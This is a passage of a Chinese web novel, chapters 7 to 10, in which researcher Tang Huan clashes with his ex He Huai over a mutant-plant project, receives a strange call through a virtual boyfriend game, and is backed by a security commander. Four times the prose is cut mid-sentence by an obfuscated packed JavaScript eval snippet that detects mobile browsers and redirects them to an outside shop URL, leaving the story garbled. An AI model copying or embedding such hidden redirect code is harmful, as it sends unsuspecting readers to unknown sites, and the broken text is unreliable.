哧!试剂的腐蚀还在继续,灼烧感蔓延到了内脏,陆池修丝毫没有反应,只是抓住脑海中那一点点影像。 滋滋滋…… 好像有什么东西连接到了意识网。 昼夜花到灵媒期了? 陆池修一怔,仅剩的完好右脸,终于有了点表情变化。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你想看什么?”唐奂当着它的面打开界面。 翻到最后一页时,眼珠瞳孔收缩。 正是这个插曲让唐奂想起了至今没点开的游戏——旅行男友。 他躺在床上,枕着一条手臂看完剧情导入,正要去后台设定一下,忽然发现那里显示他已经保存过男友了。 唐奂:“什么时候?” 这游戏是玩家捏脸,他下载完就放着了,根本没碰过捏脸界面。 但此刻,游戏里,角色栏赫然显示: 【您的男友:已出行】 屏幕上映着唐奂疑惑的表情,思索间,手指不经意摩擦到右上角凹凸不平的屏保。 那天实验室骤起亮光,甩飞了他桌上的手机。 唐奂手指一顿,点进游戏后台。 一个早已被设定好的男友闯进视线,画面加载出来的瞬间,唐奂的手停住了,“这是……” 那是一个极为精致的年轻男人,换成现实世界的人也就20岁前后的样子。 这位虚拟男友,五官中的凌厉与惑人交织的矛盾感,眼尾微微上挑,那双琥珀色的瞳孔深不可测,极具神秘色彩。 或许是游戏的效果,细看之下,精致也不足以形容了,摄人心魄到有一种诡异的错觉。 仿佛这个人,不仅仅是一个虚拟数据。 叮叮。 系统提示。 【您的男友已出行了哦,他会游历世界,偶尔给你发回各种旅行的照片哦。请不要担心他哦,他会思念着你的……】 唐奂摸着嘴唇,眯起眼。 不错的勾人手段,然而—— 一周过去了。 唐奂一张照片都没收到。 7. 第 7 章 …… 嗡…… 【贺淮:你把它弄哪儿去了?】 嗡…… 【贺淮:回消息!】 嗡…… 【贺淮:唐奂,我是为你好,再这样下去你会惹出大麻烦来】 嗡…… 【贺淮:我知道你在看,回消息!】 - 8小时后。 嗡。 【贺淮:你给我等着】 …… 清早。 “为什么啊?” 研究室中,林今紧握着实验台座机的话筒,声音颤抖:“就因为那天昼夜花的异常繁殖?那不是我们的问题!为什么让我们退组?” 林今面红耳赤地和所长助手对峙。 实验室基本复原,重新安装培养舱的经费迟迟不到位。 林今没想到那只是一个开始。 邮件发过去一问,助手先是一通客气的道歉,然后表示:昼夜花样本已经不归你们保管了! 林今打电话的时候唐奂正坐在工位上,一条条删掉工作账号里贺淮的消息。 “唐哥,那个……”林今捂住话筒,“所长让你接电话。” 唐奂接起:“喂。” “唐奂啊,那些东西太重要了。”所长的语气温和又理所当然,“哦对了,这次的调动可是任区长批准的,你不要再给我动‘越级上报’的念头了,听到没?至于后续研究,会由更专业老练的团队接手。” 唐奂:“更专业老练的团队是?” “你不用知道。”所长说完,就挂断了电话。 “怎么这样啊?”林今气得翻自己桌子上的文件,“怪不得昨天问我要交实验数据,肯定是那时候就想把我们踢出去了。” 哐当一声,一堆打印资料摞在唐奂面前,林今愤然:“这些都是我们做的,整个研究所没有人比我们更懂昼夜花!我还指望这个项目升职转正,靠,我要去和他们讲讲道理!唐哥,唐哥你说句话啊?” “讲什么道理。”唐奂盯着电脑屏幕,指尖敲咖啡杯,“他们也不是讲道理的人。” 无效沟通就是犯罪,唐奂的信条。 “那怎么办?”林今丧气地一屁股坐回工椅。 对面的唐奂不紧不慢弯身,拉开手边的抽屉翻找,林今刚探过头去想看看在找什么,一张明信片递到了面前。 “联系这个人。”说到中途,唐奂按住他堆来的资料,“就说,你要报告昼夜花的调查进度。” “啊?” 林今拿着有点沉的明信片,追在唐奂身后,“可是唐哥,这也没写名字……” “等下。”唐奂大步向外走,开门时忽然想到了什么,回头把明信片抽了回来,停顿一下,盯着林今说:“先不急,一周以后再说。” 或许是自知这事办的不地道,接下来的几天,每天都有助手的人到唐奂研究室外的走廊转悠。 然而,别说抗议了,唐奂连句抱怨都没有。 又到了午休时间。 唐奂端着咖啡杯走过公共区域,这次他去的是员工用餐区,气氛要比楼上的实验室层的休息室热闹不少。 “哎!我的男友刚在南极拍了一只企鹅,好可爱!” 楼梯口旁,女清洁员们四人一桌聊得热闹。 “还说呢,我家那个昨天去了威尼斯,在贡多拉上拍了个自拍视频,结果后面还飘过了个美女NPC搭讪,他超冷漠哈哈哈!” “你已经到发小视频了?怎么攒的亲密值啊?” 唐奂脚步渐缓,低头看口袋里的手机。 旅行男友后台没有消息。 “不好意思,过道请让一让。”一名清洁工的身后走过,唐奂让路,她的手机就放在餐盘上,叮!弹出了一个收到照片的窗口。 清洁工一坐下就打开手机,然后和其他几个人激动地聊了起来。 唐奂正要走,迎面一个同样穿着白大褂的身影撞上了他,那力道是故意的,唐奂脸色一沉。 一个女清洁工说:“贺博士今天真早啊。” “上午没什么事。” 贺淮没来几天但人缘不错,总是看起来温文尔雅,看到底层的员工也经常露出笑容。他刚从图书储存室过来,手臂夹着一本论文杂志。 “又是这个游戏啊,旅行男友?”贺淮低身看她们的手机屏幕,言语间哂笑,“可惜,我这个人还是太现实了,玩不了这种游戏。既然是恋人,当然要有肢体接触啊,如果是看得见却摸不着的男友,到底好在哪里啊。” 那语气挺正经,脸上又挂着笑,完全听不出在阴阳怪气。 女员工只当贺淮在说笑,也故意用同样的语气回复:“摸得着对贺博士来说很重要啊?想不到您还是‘肉食动物’?” “嗯。” 贺淮一耸肩,扫了眼唐奂白衬衫里收紧的腰,笑着说,“可惜,不是所有人都能体谅伴侣的欲望,他们只活在自己的世界里。” 话说到后面,那股意有所指的味道连女员工们都嗅到了。 有人好奇地问:“贺博士,难道你在这方面……” “不,这只是价值观不同,我不会随便谈论任何前任。”贺淮放慢语速,“而且我前妻,” 此言一出她们瞪大眼睛,离婚的事就这么轻易说出来了? “她是个很好的人。”贺淮不以为意,甚至是轻描淡写的,“遗憾的是,她在和我离婚后落下了终身残疾,想起来还有点唏嘘。” 女员工们默默在心里竖大拇指,贺博士看起来有很多情伤还那么善待这个世界,整个人镶了金边似的。 “至于这个旅行男友,虽说我不会玩,”贺淮丝滑地转了话题,“唐奂说不定会和你们有共同语言呢。” “啊?”她们异口同声发出惊愕的疑问。 贺淮笑了一声,“你们看他封心锁爱,其实他很空虚,说不定哪天就把感情寄托到虚拟男友——” 说着下巴扫向身后,还以为能看到羞愤的唐奂。 等贺淮回头,脸色一僵。 不知什么时候,唐奂已经走远了。 —— 咔哒咔哒,嗡…… 新鲜的咖啡豆进入咖啡机,震动起来。 唐奂拿着杯子等着它流出咖啡。 心里想着,以后要离旅行男友的话题远一点。 抛开这两天发生的事,唐奂也不会让任何人知道他对这款游戏感兴趣。 工作上,唐奂待人接物十分成熟,可私生活方面,他的边界感很重,尤其是感情生活。 和贺淮在一起的那一年,两人就在一个研究室,愣是没人发现。 “怎么,项目还顺利吗。” 贺淮漫不经心地走过来,好似正巧路过般在他身后排起了队。 “……” 唐奂往前走了半步,拉开距离。 “别装了。”贺淮贴得近了些,凑近他耳边,“你很清楚,只要你一天不向我低头,所长不会让你回去。” 唐奂一哂:“所谓‘更专业老练的团队’就是你的队伍啊。” 贺淮愣了一瞬,随即一笑,但眼底的温和褪去,流露出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111651|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝阴沉的冷意,“唐奂,有些事你还是局外人,不知道利害。” 殊不知唐奂等的就是这一刻,眼神一沉,慢条斯理接了咖啡,倒上牛奶,“你这话什么意思”。 贺淮接了和他一样的咖啡用汤匙搅动,微微倾身,刻意压低声音:“净化会。” “净化会?”唐奂回头。 “很好,就是这个表情,你从来都掩饰不了的求知欲。”贺淮眼底浮现出充满了侵略性的兴奋,“一个月了,你总算肯正眼看我了。实话说,我一直怀疑你到底有没有喜欢过我。我劝你一句,就算真的寂寞,也不要寄希望在一些不着调的游戏上,现在你身边不是有更好的选择吗?” 丝毫不在意唐奂的冷淡,贺淮继续说,“项目的事也好,你我的事也罢,我都可以等。不过我的耐心有限,只给你3天时间考虑,到时候你再躲我,我就开始下一步。” 唐奂看了眼手机上的日程:“4天。” 贺淮:“?” 一瞬间的诧异,贺淮知道唐奂就是这种性子,于是不悦很快被心底的激动冲刷:“好,4天就4天。” 嗡…… 正在这时,唐奂的手机忽然一震。 因为是面对面,贺淮没看到唐奂的屏幕,但那一刻他明显感觉到唐奂不受控制地表情一僵。 接着唐奂就合上手机,匆忙走了。 “喂,你……”贺淮没叫住人,只能看着唐奂消失在了楼梯口。 嗡……嗡…… 唐奂隔着口袋按住手机,端着咖啡一路走向实验室。 手机震动声没停,他快步来到研究室,关上门一看,屏幕上跳动一串字符,竟然显示的是旅行男友后台的电话。 不是照片,是语音电话。 唐奂撇眉看界面。 这是亲密度极高的虚拟男友才会触发的功能。 他一个新手,每日任务都不能按时打卡,亲密度更是没关注过。怎么想都该只有初始数值才对。 ……卡bug了? 似乎是唯一的解释。 嗡……嗡…… 语音提示还在持续响着。 手指扫过屏幕,唐奂不可闻地轻叹一声,点了接通。 滴—— 通话时长出现了计时,屏幕是黑的,没有任何声音。 唐奂等了片刻,咖啡升起袅袅白烟,研究室仍是死寂般的沉默。 唐奂都忘了自己是为什么关注了这个游戏,或许是广告里的玩家看起来很幸福,或许是他哪天情绪上了头。 “有些话也不无道理。”唐奂一副天生的冷五官,眉眼如墨,一眼看上去薄情寡淡,他想到贺淮的话,自嘲地低语道:“虚拟男友……单论这个游戏,终究也没什么意思。” 说着,他的指尖往挂断键上滑去。 就在这时—— “啧。” 一声轻嗤,穿过耳机钻进了耳朵里。 唐奂动作顿住,紧接着身体做出了反应,一股密密麻麻的冷意爬上脊背,他定了定神看向屏幕。 3分46秒,47秒,48秒,通话计时还在持续。 旅行男友里的AI角色,性格设定是绅士,不论玩家说什么都会温柔以对。 而刚才他听到的那个“啧”,尾音拉高,透着毫不掩饰的不悦。 “喂?” 唐奂盯着漆黑的屏幕,指尖不由得用力。 没有任何回应。 可是,信号也没有断。 又过了一会儿,唐奂凑近话筒,轻声试探:“……你在说话吗?” 8. 第 8 章 滴答……滴答…… 墙壁渗出水滴的禁闭室,植物根须错综交缠,宛如庞大生物的血管。 “……你在说话吗?” 遥远次元外,唐奂的声音轻轻来到耳畔。 生洲最顶级的共生者浸泡在池水中,暗红色的解离液冲刷着皮肤,这个普通人一触就会尸骨无存的地方,陆池修托着下巴看掌心。 那里有唐奂凑过来的脸。 陆池修挪动手指,描绘唐奂下颌线,铁链扫过池底发出清脆的金属碰撞声,他刚要开口—— 哗! 滋滋滋…… 什么东西泼了身上。 刺骨噬心的疼痛蔓延,背后像有无数只虫子在啃咬。 一开始陆池修并没有反应,随着左手化作白骨,信号被迫中断。 掌心中那人消失,陆池修琥珀色的眼眸一沉。少顷他抬起脸,垂下的手臂因为用力微微浮现出青筋。 “干、干什么?” 拎着铁桶的看守脸皮抽搐,吓得后退了几步。 每6小时倒一次解离液是修恩的命令,几天下来倒了快20次,陆池修从来没这么大反应过。 看守昨天还和几个同僚说看守陆池修不过如此——陆池修不分昼夜盯着掌心,和进入了休眠没区别。 看守咽了咽口水,刻在共生者基因里的畏惧感让他软了腿。 囚室光线冷白,映照出一具残破不堪的身体。 池水随着陆池修起身泛出波纹,看守半张着嘴,只见陆池修打湿的发尾贴在侧脸,歪了歪头,咔!颈骨仿佛机械装置咬合。 看守吓得心跳漏了一拍,脸色铁青但强装镇定,挥舞起铁桶作势要砸:“妈的,吓老子一跳!死到临头了还——” 可他还没走几步,就被一根铁鞭似的藤蔓缠住脖子! “呃——!” 看守抓住脖子上的东西,它越来越紧。 远处陆池修的上半张脸被阴影遮住,看守被勒得翻起白眼,拉扯藤条的指甲缝里渗血,手脚来回扑腾。 “怎么了?”“禁闭室里什么身影?”“快去看看!” 一阵疾跑声从走廊传来,几个守卫撞门而入,可他们还没看清什么,一个头上套着铁桶的人被甩了过来。 嘭—— 烟尘散去,爬满藤丝的墙撞出一个蛛网形的大坑。 修恩赶到的时候,禁闭室里看守横七竖八倒了一地,陆池修站在唯一的那扇窗口,注视着洒向掌心的光。 “……” 修恩喉结一哽,手里的通讯器响了。 “喂,是我。”修恩刚接起,对面赫迪安气急败坏的咆哮:“你去禁闭室了吗?发生什么事了?!陆池修——” “他还在。” 短促的回答让赫迪安一秒哑火。 修恩让开门,净化会的侍卫长一挥手,侍卫收拾狼藉鱼贯进出,一个个看守被抬了出去。 “死了七个,有两个还有气。是一个叫……”修恩递去眼神,侍卫长低声说了个名字,修恩继续:“一个叫乌尔的看守激怒了他。原因还不知道。” 赫迪安:“查!” 修恩挂断语音,示意侍卫长:“你们先走吧。” “您注意安全。”侍卫长低身行礼,挥手带走了侍卫。 现场终于安静下来,修恩沉了口气,正要开口,却发现方才站在窗口的人不见了。 修恩:“?” 一个身影一闪,修恩闷哼,脖颈被一只手扼住,整个人直接悬空。 修恩一个文弱研究员,哪里经得住这一下子,他痛苦地仰起头,陆池修拇指一按,他的喉结压进了脖子半寸。 “别……” “你说得很对。”陆池修说,“这个解离液的效果、确实不错,是……阿魏酸、没食子酸、鞣酸,结合强渗透性的改性二甲基亚砜……来着?” “骗他的。” 掌中的脖子很细,控制不好力道就能断掉,陆池修眼底只有几分认真,唇边噙笑:“为什么要帮我?” 森白的光打在陆池修身上,说话间,侧脸,颈部,肩膀……他损伤的肌理正以肉眼可见的速度在翻新。 而这一切,都是所谓“解离液”的效果。 随看守倾倒解离液的次数增多,他的身体一次次被腐蚀,又一次次重塑,如今,体内的异植已唤醒半数了。 “难道……和你脸上的疤有关?” “陆池修,你我非亲非故,帮你自然是为了我自己!”修恩硬扯唇角,艰难吐字,“别惹事,也不要着急修复身体,你是怕净化会的人看不出来吗!” “……可我有重要的事呢。” “比命重要?” “嗯。” 陆池修想起唐奂对着旅行男友的那几句感叹,不由得一挑眉毛,松开了修恩。 修恩猝不及防跌落在地,捂住嗓子咳嗽。 陆池修蹲下来,阴影沉沉遮住他:“你怎么知道我在联系蓝星?” “咳咳……你怎么不问问,净化会为什么需要我……咳咳……你以为这个信号是你们生洲的技术吗……” 陆池修若有所思的“哦”了一声。 禁闭室的门敞着,走廊的空气正冲刷着血腥味。 修恩咳得整个人都在抖,他和唐奂身量差不多,同样的身高,甚至还要瘦一些。 晦气。 修恩想。 他回头看了眼这白眼狼,爬起来就要走。 “这么说来——” 与此同时修恩的衣领从身后被扯住,他一个后仰差点跌倒,陆池修抵住他的后背稳住了他。 修恩:“你不用问了!我不会说的!” “你误会了。”陆池修歪过头,“你的事怎么都好,我只是想问你。” 修恩一怔,刚扭头就嘴角一抽,“?” 只见陆池修用比刚才友好了一百倍的眼神看他,微笑着说:“你能帮我再找到那个信号,对吗?” —— 浴室的门散出白色的水汽,氤氲间,唐奂舒了口气,擦着头发出了浴室。他的黑发没完全擦干,几缕湿发贴着颈侧,水迹未干的肌肤隐约透出冷白色的光泽。 “久等了。” 折叠整齐的睡衣上,眼球正坐在中央打瞌睡。 唐奂换好衣服回卧室,把它安顿在枕侧,关灯前看了眼手机: 一条未读。 是旅行男友的后台。 唐奂手指一僵,想起白天那通莫名奇妙接通又挂断的bug电话。 唐奂没玩过多少游戏,因为他知道自己玩进去了是什么下场。大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111652|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学时期,他也玩过大型网游,不搞帮派不搞情缘,又肝又氪一跃成为全服第一,还写下无数攻略,留下江湖美名——事后陷入到无穷尽的后悔中。 从那以后,连俄罗斯方块和纸牌这种程度的游戏他都不沾了。 如果旅行男友不是放置类游戏,他还不会下载。 唐奂侧躺在枕头里,点开后台。 照片里光影斑驳映出一只手,骨节修长,搭在冷白色的颈侧。 虚拟男友后台有全身照,他还是第一次看到“近景”。 充满性张力的颈线,虚拟男友的拇指顺着下颌弧度摩挲,指腹力道若有似无地挤压着喉结。 唐奂坐起身戴上眼镜,又看了看。 以他作为男人的经验,这还真不是简单的勾引,只凭一只微微浮现青筋的手,就能让人联想到一具蕴含力量的身体。不是他这种闷实验室的,也不是那种住健身房的,而是肌肉线条流畅到刚刚好的美感。 唐奂轻轻吐了口气,数秒后恢复理智。 男友的脸很模糊,只有手部还算清晰,而且,这好像是一张匆忙拍下来的照片。 不过等等, 这是零亲密度可以看的吗。 这时,眼球挪动了一下。 “抱歉,太亮了吧。” 唐奂正要关掉手机时,忽然发现后台竟然有了男友的名字。 怎么会。 唐奂盯着屏幕,指尖紧贴着界面。 陆池修。 —— 潼港植物研究所。 图书阅览室人烟稀少,这里有植物学界最全的资料,也架不住干这行的人少。 唐奂拿着一本食肉植物的杂志下楼,脑海里回放的是火海里张牙舞爪的昼夜花,现在看来,植物基因学还是别成为下一个热门专业为好。 “想好了吗。4天了。” 楼梯走到一半,熟悉的身影迎面挡住去路。 阅览室的楼梯窄,只够过一个人,贺淮手肘抵住扶梯挡住唯一的通路:“还没想清楚吗?希望你的答案不会让我失望。” 说话时,贺淮拨弄着白大褂口袋里的钢笔帽,拿捏似地转动它。 唐奂:“想好了。” “这就是了。”贺淮轻浮地笑,“之前你那样别扭,我还以为你面上装得清高,其实心底里还在意着被我甩了呢。” “我不想和垃圾共事。”唐奂说。 “你……” 随即唐奂一声冷笑,凑近脸:“也麻烦你不要岁月史书。用我帮你回忆一下吗?你是怎么堵到我家门口、求我原谅你的。” 狼狈的过去被无情揭开,此刻狭窄的楼梯就像当初唐奂上了锁链的门缝,充满距离感。贺淮不记得那时唐奂说了什么,只感觉咽喉被紧紧扼住。 贺淮扯住唐奂的衣领,把人按在扶梯:“唐奂,你不要欺人太甚——” 上方的监控俯视两道相似的颀长身形,倾斜的角度,贺淮的脸隐没在阴影中,两人的脸几乎贴在一起。 “——原来你们在这儿啊!” 借阅室外传来匆忙的脚步声,贺淮松开手,一个喘着气的研究员爬楼梯跑了过来。 “什么事。”贺淮脸色阴沉。 研究员焦急:“生物安全署来人了,所长召集所有人去会客室呢!” 9. 第 9 章 —— 研究所的大教室用来学会发表和办讲座,正儿八经的会客室根本容纳不了所有的研究员。所长让去会客室集合,所里人心惶惶。 会客室外。 道里站满了面色忧虑的研究员。 “为什么生物安全署会来人?”“又有东西变异了?”“外面停了好多武装车,是出事了吗?”“谁、谁来了啊?” “嘘,所长在里面呢。” 潼港植物研究所是官方科研机构,由辖区长任怀安手下的部门统一管理。潼港发生植物变异后,特战队算是半接管了潼港。 这支队伍大张旗鼓过来,研究员们寻思饭碗是不是要砸了。 这时,一个制服带章的人从会客室探头,议论声停了。 只见那人扫视一圈,看到人群最后的身影时眼一亮,殷切叫了声:“唐博士!您请进来吧!” 唐奂因为隔得远没听清。 “唐博士!” 在研究员们惊愕中,那人拨开人群快步走来,隔着几米就笑着伸手:“您还记得我吗?我是周武,周副手!” “当然。” 唐奂握住那只手,面前浮现出这人头朝地翻倒在直升机里的模样。 “等您好久了,请跟我进来吧。”周副手头前带路,忽然想起什么,一回头看向贺淮,换了个语气,沉声道:“你也过来。” 贺淮正奇怪,怎么堂堂副手还跑出来接人,等一进门,就知道为什么这么大阵仗了。 所长和亲信们站成了一排。 会客室的墙一尘不染,一张高悬的名人画像写着勉励人心的话:知识就是力量[英]弗朗西斯?培根。 画像正对面,是荷枪实弹的特战队。 坐席中央气场压得众人喘不过气的,正是生物安全署高级指挥官,黎准。 “指挥官,人来了。”周副手随手关门。 一前一后进来的是唐奂和贺淮,黎准的视线跟着他们,交叠双腿,在座椅上换了个姿势。 林今二话不说蹭到唐奂身边,唐奂侧耳,听林今说:“我今天联系明信片上的人,就是那个副手,他让我去辖区报告。我一去就看到黎指挥官了,他问你怎么没来,我就说你不在项目组了。” 唐奂:“然后呢。” “然后他也没听我汇报……”林今小心瞟黎准一眼,也不敢大声,毕竟那会儿现场的特战队员们都死亡僵直了,“再然后,我就搭武装顺风车回来了。” 说完林今一耸肩,他至今还是懵的。 “是谁批准你们私自更改研究组的人员配置?” 话音让在场除了唐奂的人都皮肉一紧,黎准的声音冷硬,不带任何余地。 “总不会是任区长吧?” “呃,不……” 所长紫黑的嘴唇颤了颤,却不敢说话。 因为不知道黎准是不是明知故问。如果不是,他不敢接话,如果是,他更不敢接话。 “昼夜花谁发现的?”黎准敲了敲桌面,目光扫向所长。 “是……是……” 所长额头冒着冷汗,小声道,“是唐奂。” “转组的事你一个人说了算吗?”黎准眼神锐利到把人穿透,可他中途走了神。 唐奂的衬衫前襟有不寻常的弧度,明显是被人狠狠拉扯过。这会儿唐奂正在一声不吭地整理。 走神的也不止黎准,长桌另一侧,贺淮噙着冷笑。难怪从有人来报信开始,唐奂就是了然于胸的样子。 今天这出闹剧根本不是巧合。 贺淮眯眼,灼热的目光快要在唐奂身上烧出一个洞。 “——那边那个,你来说!” “贺淮!” 贺淮被所长用力拉了一下才回神,不知何时黎准的视线已经到了他身上:“项目不是给你了吗?” 贺淮心底闪过一阵不悦,也只能努力保持微笑:“指挥官,昼夜花的研究本质是共生性变异植物的分析,研究所的分配——” “我没问研究所,我在问你。” 黎准一只手按在桌上,肩章随着前倾的动作光亮锋芒:“没有上面的批准,这个项目你也敢接?” “谁说没有,任区长——” “哎!”所长惊呼。 贺淮没说下去,他发现黎准时不时瞟唐奂,好像忽然明白了什么,唇角抽搐:“好,好一个兴师问罪。指挥官,您要是想把项目那个还给他,大可以直说!” 紧绷的气氛被一刀划破,空气骤然变冷。 咔!整齐划一的举枪声毫不拖泥带水,不过转瞬,十几条森然的枪.口已经对准了贺淮。 贺淮瞳孔一缩,“——!” 所长连忙站出来缓和气氛,使劲把贺淮往身后拉:“指、指挥官,这件事是我不好,我、我道歉,我检讨!” 万般不情愿的,所长隐隐向唐奂求助:“唐奂,你看这……” 唐奂两手交叠身前,视若无睹:“该道歉的是我,我好像又不小心越级上报了。” 黎准:“哦?” “没有!”所长痛苦面具,张开手臂瞪眼高声:“绝对没有!” “那就好。”黎准利落起身,神情缓和了些,“从今天开始,我不想再听到任何关于唐博士不利的消息。” 白森森的墙衬得一众人脸色难看更甚,黎准两手一正衣领,路过一个特战队员身边时拿过他手里的SIG步枪。 一瞬间全场鸦雀无声。 贺淮正要开口,那条黑色枪.管抵住了他的心脏。 “——你刚才说得很对。” 导轨边缘寒光森冷,黎准指尖轻轻一搭,枪托自然下垂,前握把贴合掌心:“我今天来就是为了他的事,如果你有意见,现在说。” 咔嗒一声,消音器锁死,整个房间的空气仿佛凝结。 贺淮眉心狠狠压着,换做平时他是不吃这一套的,他不相信一个空降的指挥官会在辖区的官方机构因为一点口角当场打死一个研究员。 可是,这事赌不得。 面前的年轻指挥官比他高半个头,宽阔的肩膀撑起肃然的战装,目光如炬——明明也不是丛林社会了,人类面对力量强劲的雄性,警觉避让的雷达还是深深刻印在了基因里。 额边一行冷汗落下,贺淮掌心也湿透了。 常年敏锐的神经告诉他,再说多一句嘴,黎准真的会扣动扳机。 “没有。” 贺淮用很低的声音说。 “很好。”黎准把枪丢给旁边的周副手,“赵所长!” “是!”所长挺直脊背。 “有些话我只说一遍,今时今日你的地位来之不易,如果你当不好这个风光的吉祥物,”黎准从所长身后走过:“我的人第二天就能来接管整个研究所。” “……是!是!” 所长一边擦汗,一边万般殷勤跟在后面送人。 唐奂安静走在最后。 料到安全署会对他被调组有反应,唐奂没想到的是,打个电话或派个人来就能办了的事,竟然闹了这么大的动静。 走廊里的讨论声像打了静音似的骤然停止。 研究员们自觉挤满了左右两面墙,周副手快走几步给黎准披回外套,黎准抬手一挡,回过了身。 “唐博士。” 唐奂:“?” 出来送的所长和项目组的人都怔在廊道。 现场静得一根针掉下来都能听见。 黎准在他面前站定,调侃道:“没想到,你也会因为一点鸡毛蒜皮的小事走投无路啊。” “制度上的事我无能为力。” 稍一停顿,唐奂回头看了所长他们一眼:“就像他们,也对你无能为力。” 所长等人:“……” 挤满了人的走廊,两人站的地方天然形成了一道驱散众人的屏障。 唐奂清嗓子,低声:“指挥官,不管怎么说,我还是谢谢你——” “先不忙谢。”黎准抬手,“反正我也没打算白来一趟,实话说这几天我手边有件事挺难办,接下来可能要辛苦你了。” 话音落下的同时,唐奂正疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111653|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所有人只听见皮靴咔地一声,黎准站直身体,一个标准的敬礼! 这下搞得其他队员也慌忙跟着敬。 走廊森白的两道墙之中,一眼望去特战队员齐刷刷的,大理石地板映照出他们坚定的面孔,山呼海啸般的压迫感在走廊蔓延。 所长暗地里咽口水,在场的研究员们愕然,脊背收紧,大脑空白。 “你先处理项目的事,过两天我让周副手来接你。”黎准最后看了唐奂一眼,迈开脚步向外走去。 所长殷勤:“我送您……” “赵所长请留步。” 周副手颇为有礼地笑着挡住,视线越过所长向唐奂一点头,随即招手:“收队!” 两排卫队自动合拢,鱼贯跟上,很快就挡住了黎准离去的背影。 …… 当晚,昼夜花组织和近期的实验记录被紧急送回。所长没来,东西是堆满了笑容的助手送回来的,被憋着一口气的林今逮到一通喷,也没敢放个屁就跑了。 昼夜花那次暴走后被切成了三十段,只保留了一份存活样本,一开始它还是小小的一团,没几天又塞满了培养舱。 丝状的绿色组织像蛛网一样攀附在玻璃壁上,它对着的地方,是实验桌前正在沉思的唐奂。 嗡—— 【贺淮:是什么时候的事?】 嗡—— 【贺淮:你和那个黎准】 嗡——嗡—— 【贺淮:看来我们分手的期间你也没闲着啊,你干了什么?】 【贺淮:别太得意了!】 嗡—— 【贺淮:他们只会利用你罢了!】 工作号没有拉黑功能,唐奂报告翻到最后一页,抽空把手机调整到了静音。 此时,研究所大楼外。 “不回我是吧。”贺淮面色阴狠地看着手机屏幕。有了今天的事,所长提醒他最近不要再接近唐奂。 时间已经很晚了,路灯孤零零亮着,远处传来引擎声。 贺淮一抬头。 哧—— 一辆高调的银粉色玛拉莎蒂急停面前,车门打开,伸出来一条白皙的大腿。女人拨动棕色的长卷发,举着手机:“为什么不回我消息?” “任静?” 贺淮合上手机,忍不住皱眉,“我不是和你说了最近很忙吗?” “再忙连女朋友都不理吗?好了别生气,我也是看你辛苦。”任静揽贺淮的手臂,耐心劝着:“要么你这个活也别干了,去我爸爸那边吧。” 不提还好,一提“爸爸”,贺淮气不打一处来,看着任静冷笑:“我的大小姐,黎准都跑到研究所来撒野了,你爸爸好歹也是潼港当了12年的辖区长,这事他有问过一句吗?” “黎准?”任静细眉一抬,笑说,“他一个外人能在潼港待多久,你还怕他?” “行了你别管了,回去吧。我没空见你。以后你也别到这里来,听到没。” 一开始贺淮只是想挡开她揽着的手,忽然研究所大厅的声控灯亮了,任静一眯眼看到一个颀长瘦削、眼神如墨的男人走了出来。 一秒不到,贺淮触电了似的猛地甩开她,疾走向男人:“唐奂,不是的,她……” 被叫做唐奂的男人面无表情地走过去了。 任静注视着男人的背影。 嘟嘟—— 一连四辆没有标识的黑色SUV冲进大门,为首的那辆下来一个人,是辖区的副区长。 副区长满头大汗地跑过来:“任小姐,这么晚了您一个人出来太危险了,快跟我们回去吧。任区长该着急了。” “我会再来找你的,贺淮。” 任静把车钥匙丢给副区长,上车前悄悄看了贺淮一眼。 SUV一路扬长而去,后座的任静点了根细长的女士香烟,慵懒地靠向椅背,“看到外面那个人了吗?” “哪儿?”副区长看窗外,只见车灯照亮了一个背影笔直的男人,男人沿路边走,让开了路,“看到了。” 任静:“去查查他。” 10. 第 10 章 —— 唐奂在三日后的当晚11点上了一辆漆黑的车,林今已经在后车座了,大约半小时的车程,唐奂下车,在四个保镖的护送下进了总控厅的一栋大楼。 会议室里,几个特战队长正神情严肃地低声商量,廊外传来脚步声。 唐奂里面只穿了件白衬衫,外面套着长款黑风衣,修长的身形出现在门口时,会议室的人都看了过来。 不光有特战队,还有警员…… 林今一看这架势,二话不说就躲到了唐奂身后。 这干啥?不是要秘密处决吧。 “坐吧。” 房间最里侧的正中央,没穿制服外套的黎准向他招呼。 